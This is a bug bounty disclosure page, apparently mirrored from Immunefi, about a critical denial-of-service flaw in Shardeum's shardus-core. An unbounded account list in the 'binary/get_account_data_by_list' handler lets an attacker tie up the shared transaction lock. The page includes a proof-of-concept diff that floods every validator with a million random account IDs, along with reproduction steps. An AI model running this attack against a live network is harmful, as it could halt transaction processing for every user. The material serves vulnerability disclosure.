Skip to content
DoS Audit finding Advanced

Complete shutdown of the transaction processing

The internal message handler for 'binary/get_account_data_by_list' does not limit the length of the account list, allowing an attacker to send a huge list of random account IDs. This causes the handler to hold the shared 'accountModification' fifoLock for a long time, blocking transaction processing and potentially taking the node offline.

doxtopzhivago Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

33086 - [BC - Critical] Complete shutdown of the transaction processing...

Submitted on Jul 11th 2024 at 04:13:20 UTC by @doxtopzhivago for Boost | Shardeum: Core

Report ID: #33086

Report type: Blockchain/DLT

Report severity: Critical

Target: https://github.com/shardeum/shardus-core/tree/dev

Impacts:

  • Network not being able to confirm new transactions (total network shutdown)

Description

Brief/Intro

The handler of the internal message 'binary/get_account_data_by_list' can cause transaction processing queue blocking because of the sharing the same locking mechanism.

Vulnerability Details

  1. The handler of the internal message 'binary/get_account_data_by_list' is not setting correct bounds for length of the accounts list (Actually it is 2^32).
  2. For each account the handler is executing app.getAccountDataByList which is calling AccountStorage.getAccount -> getAccountEntry -> creates and runs SQL query for each account ID.
  3. Also the handler is creating fifoLock('accountModification') which is used in the following functions: preApplyTransaction and commitConsensedTransaction. Which are two critical functions for transaction processing. If this fifoLock is occupied by this handler, transaction processing will be slowed down or even stopped.

So by sending a big list (2^32) of random accounts it can create a significant delay in transaction processing on the single node.

It also can be scaled so that whole network performance will fall down:

For incomming messages there is no check that remote IP address belongs to the node, only verification by signature. So private key from single standby node can be used by multiple senders.

In case of mass sending from multiple senders to all validators (list is open) attacker can completely stop transaction processing or significantly slow it down because the fifoLock is shared between transaction processing flow and the handler.

In my experiment it was causing onProcesssingQueueStuck and node became offline.

Impact Details

I want to emphasize that it is not just a simple DOS, it is overloading bottleneck (fifoLock) which is also used in some critical functions in a system. By increasing number of accounts in a message you can impact transaction processing on target nodes or the whole network itself.

Proof of Concept

Please use it only for the attacker node which should be connected to the network and be active:

diff --git a/src/shardus/index.ts b/src/shardus/index.ts index 06184f15..71968a30 100644 --- a/src/shardus/index.ts +++ b/src/shardus/index.ts @@ -85,6 +85,13 @@ import SocketIO from 'socket.io' import { nodeListFromStates, queueFinishedSyncingRequest } from '../p2p/Join' import * as NodeList from '../p2p/NodeList' import { P2P } from '@shardus/types' +import { GetAccountDataByListReq, serializeGetAccountDataByListReq } from '../types/GetAccountDataByListReq' +import {

  • deserializeGetAccountDataByListResp,
  • GetAccountDataByListResp, +} from '../types/GetAccountDataByListResp' +import * as hackcrypto from 'crypto' +const { Buffer } = require('buffer');

// the following can be removed now since we are not using the old p2p code @@ -725,7 +735,40 @@ class Shardus extends EventEmitter { this.stateManager.startProcessingCycleSummaries() }) Self.emitter.on('active', (nodeId) => {

  •  // this.io.emit('DATA', `NODE ACTIVE ${nodeId}`)
    
    
  •  console.log("n00b We are in active", NodeList.othersByIdOrder)            
    
  •  const garbageIds = [];
    
    
  •  if (NodeList.othersByIdOrder && NodeList.othersByIdOrder.length > 0 ){
    
  •    for (let i = 0; i < 1000000; i++) {
    
    
  •      garbageIds.push(hackcrypto.randomBytes(32).toString('hex'));
    
  •    }
    
    
  •    const message = { accountIds: garbageIds }
    
  •    setTimeout(async () => {
    
    
  •      try {
    
  •        const results = await Promise.all(NodeList.activeByIdOrder.map(node => {
    
    
  •          if (node.id !== Self.id) {
    
  •            this.p2p.askBinary<GetAccountDataByListReq, GetAccountDataByListResp>(
    
    
  •              node,
    
  •              InternalRouteEnum.binary_get_account_data_by_list,
    
    
  •              message,
    
  •              serializeGetAccountDataByListReq,
    
    
  •              deserializeGetAccountDataByListResp,
    
  •              {}, '', false, 10000
    
    
  •            )
    
  •          }            
    
    
  •       }));
    
  •      } catch (error) {
    
    
  •        console.error('Error:', error);
    
  •      }
    
    
  •    }, 10000);
    
  •  }    
    
    

The original report as published on Immunefi, by doxtopzhivago. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the handler for the internal message does not enforce a reasonable maximum length on the account list and holds a shared lock while performing slow database queries for each account.

Impact

An attacker could completely stop transaction processing on a single node or, by scaling the attack, on the whole network, causing a total network shutdown.

What the attacker needed

A standby node with a valid private key; ability to send internal messages to validators

How it was found

  1. Connect an attacker node to the network and wait until it becomes active.
  2. Generate a large list of random account IDs (e.g., one million).
  3. Send the list in a 'binary/get_account_data_by_list' message to all active nodes.
  4. Observe that the node's transaction processing queue becomes stuck and the node goes offline.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A node in this blockchain network processes transactions and also responds to internal messages from other nodes. One such message asks for account data for a list of accounts, but the code does not check how long the list is. An attacker can send a very long list, making the node busy for a long time and preventing it from processing normal transactions.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by doxtopzhivago

View all

3 more disclosed reports, best first.

More from Shardeum: Core

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.